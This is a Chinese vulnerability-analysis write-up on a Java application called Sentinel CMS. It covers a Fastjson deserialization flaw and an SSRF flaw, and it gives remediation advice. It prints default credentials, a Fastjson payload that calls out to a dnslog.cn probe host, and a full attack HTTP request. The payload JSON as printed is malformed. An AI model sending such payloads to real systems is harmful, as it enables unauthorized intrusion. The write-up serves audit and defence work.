代码审计 | Sentinel CMS 漏洞分析
字数 1244 2025-08-22 12:23:42
Sentinel CMS漏洞分析与复现指南
一、CMS简介
Sentinel CMS是一个基于Java的Web应用管理系统,本文档将详细分析其存在的两个关键漏洞:Fastjson反序列化漏洞和SSRF(服务器端请求伪造)漏洞。
二、环境搭建
1. 准备工作
- 下载Sentinel CMS源码
- 使用IntelliJ IDEA导入项目
- 配置Java开发环境(JDK 1.8+)
2. 启动环境
- 默认登录凭证:
sentinel/sentinel - 启动后访问本地地址(通常为http://127.0.0.1:8080)
三、Fastjson漏洞分析
1. 漏洞背景
- 系统使用了存在漏洞的Fastjson 1.2.71版本
- Fastjson是阿里巴巴开源的Java JSON处理库
- 该版本存在已知的反序列化漏洞(CVE-2022-25845等)
2. 漏洞定位
- 在
pom.xml中确认Fastjson版本 - 全局搜索
parseObject关键字 - 定位到
ClusterConfigController类
3. 漏洞代码分析
// ClusterConfigController.java
// 接受payload参数直接进行JSON.parseObject操作
@PostMapping("/cluster/config/modify_single")
public Result<?> apiModifySingleConfig(@RequestParam String payload) {
try {
ClusterClientAssignConfig config = JSON.parseObject(payload, ClusterClientAssignConfig.class);
// ...后续处理逻辑
} catch (Exception e) {
return Result.ofFail(-1, e.getMessage());
}
}
4. 漏洞利用
- 接口路径:
/cluster/config/modify_single - 请求方法:POST
- 参数名:
payload
攻击Payload示例:
{
"@type":"java.net.InetSocketAddress",
"address":,
"val":"xx.dnslog.cn"
}
完整HTTP请求示例:
POST /cluster/config/modify_single HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:8080/
Cookie: _jspxcms=eab79fcb94a54dbb9b2e4a45f27b5d7b; sentinel_dashboard_cookie=4C92FE586248ACC2A606B96B7A77DE03
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xx.dnslog.cn"}}
5. 漏洞验证
- 使用DNSLog平台生成域名
- 发送Payload后检查DNSLog是否有解析记录
- 有记录则证明漏洞存在
四、SSRF漏洞分析
1. 漏洞位置
- 类文件:
MetricFetcher.java - 路径:
sentinel-dashboard/src/main/java/com/alibaba/csp/sentinel/dashboard/metric/
2. 漏洞原理
- 系统未对用户提供的URL进行严格校验
- 攻击者可构造恶意请求访问内网服务
3. 关键代码分析
// MetricFetcher.java
public void fetchAll() {
// 获取所有应用列表
List<AppInfo> apps = appManagement.getBriefApps();
for (AppInfo app : apps) {
// 获取应用metric信息
String url = "http://" + app.getIp() + ":" + app.getPort() + "/metric";
// 发起HTTP请求
String metricContent = fetchMetricContent(url);
// 处理metric数据
// ...
}
}
4. 漏洞利用条件
- 攻击者需要能够控制或影响
AppInfo中的IP和端口信息 - 系统未对
app.getIp()和app.getPort()进行有效过滤
5. 攻击场景
- 通过应用注册接口提交恶意IP和端口
- 系统向攻击者控制的服务器发起请求
- 利用此漏洞探测或攻击内网服务
五、修复建议
1. Fastjson漏洞修复
- 升级Fastjson到最新安全版本(1.2.83+)
- 或使用其他JSON库如Jackson、Gson
- 添加JSON解析时的类型白名单
2. SSRF漏洞修复
- 对用户输入的IP和端口进行严格校验
- 使用正则表达式限制IP格式
- 禁止访问内网IP段(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- 实现URL白名单机制
六、总结
Sentinel CMS存在两个高危漏洞:
- Fastjson反序列化漏洞:可导致远程代码执行
- SSRF漏洞:可导致内网服务探测和攻击
开发人员应及时升级依赖库并实施输入验证,安全团队应检查系统是否存在这些漏洞并及时修复。